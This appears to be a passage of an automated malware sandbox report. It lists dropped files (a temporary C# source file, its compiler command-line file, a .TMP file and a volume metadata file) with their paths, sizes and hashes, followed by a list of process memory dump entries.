{2122aa44-3b6c-4861-a2b1-4606fa39103e}_OnDiskSnapshotProp

Path \??\Volume{aef5a47e-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{2122aa44-3b6c-4861-a2b1-4606fa39103e}_OnDiskSnapshotProp
Size 6KB
SHA256 0e050df2b09cfa488b8d7b3b54cba2021eef6b2198f3272ed3365d273f4c2ca4
MD5 792dd777964fc67890909161e5b39665
SHA1 958e14025b03266548aa83ff057503c904638059
SHA512 c31f0b4fabc3bc4e43b860502501ad5396f95250e11f68a623303873974174105aae7b387e997727b2f66e53260e41475c46141b4776ec2045e6cc364879ac01
SSDEEP 96:FQtjJctvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:cjob++ZVm
TLSH
T161D179085AE54711E2B3AB7129F14557A477B911EF33CB8E0298638E2670910F875F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCEA45512999D648A19491E2556A7990C6.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\uv4j2iia\CSCEA45512999D648A19491E2556A7990C6.TMP
Size 652B
SHA256 88757583d8556fbac87c077a450f9d805773ecd97d7049c36be2522d0506bbed
MD5 1d470a7e24bfa54407007049d38b4dd6
SHA1 7e5a72abb6750b0bc06841f4e0880222e8a8a879
SHA512 02be24860025d3a21f99be6f11b25efc0e457f9649a9656ec3f2e697c8801b2072dc471749621fe78888c165e922f6bd8c952b33998cd9bc47f966df0565a81f
TLSH
T1ABF0540A63F8020EF0F34B30BDF543639169BCA5DE7253FD5491031918645109571F72
MD5 SHA1 SHA512 TLSH

Submit Download

uv4j2iia.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\uv4j2iia\uv4j2iia.0.cs
Size 697B
SHA256 91e0a2785d0d60ba0690e436301764dace50113ce818a87edaa46b2897ec87b6
MD5 4a0f728a9646f4a213976d8d851abf93
SHA1 4a9e368395a85f720dbe32da58bd11780d1d51f5
SHA512 6308d0b86a46b2babe24b684a30e8fb2a33fd07f5cc1df89119e4c2c05aa4d3a9b0957f5bcbc14bfd0196e7da84a62c1b2092ed22ac265cfe955e68157f29a12
TLSH
T19601C008574F697C40D75218DAED862DB673613012F5690189E7AE608FCF211C777B2D
MD5 SHA1 SHA512 TLSH

Submit Download

uv4j2iia.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\uv4j2iia\uv4j2iia.cmdline
Size 369B
SHA256 ea658411102621eaa34404e49c487bdcfa534e04d682988ea7bf20aeaf4feaeb
MD5 5c3b8a11a36738abbef5592122eed44e
SHA1 c32721f9bd9fe219078b181f7c1948abcb4e38a9
SHA512 ae512f340a9296ac50168858bcfb416cf21a78108e22633dbc706dfb5b03d311396410804b2fe307a4755fb1fc9ed8c0d1bf452200e44ac30661261e46680031
TLSH
T173E0682A8396C27F05D9105F326AD4ACAA720A832E807F845144440DE05701C77E1742
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4772-23-0x000001BAF1B80000-0x000001BAF1BAA000-memory.dmp

Download

memory/4772-27-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/4772-24-0x000001BAF1B80000-0x000001BAF1BA4000-memory.dmp

Download

memory/4772-15-0x000001BAF0B00000-0x000001BAF0B22000-memory.dmp

Download

memory/4772-40-0x000001BAF1E80000-0x000001BAF1E88000-memory.dmp

Download

memory/4772-41-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/4772-42-0x000001BAF1B70000-0x000001BAF1B72000-memory.dmp

Download

memory/4772-52-0x000001BAF2430000-0x000001BAF24AA000-memory.dmp

Download

memory/4772-57-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/4772-58-0x000001BAF16F0000-0x000001BAF190C000-memory.dmp

Download